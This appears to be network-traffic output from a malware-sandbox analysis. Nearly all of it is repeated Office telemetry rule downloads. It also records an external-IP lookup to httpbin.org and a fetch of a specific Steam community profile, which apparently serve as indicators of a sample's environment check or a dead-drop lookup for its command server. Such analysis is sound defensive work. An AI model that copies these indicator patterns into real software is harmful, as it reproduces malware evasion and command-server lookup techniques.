Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
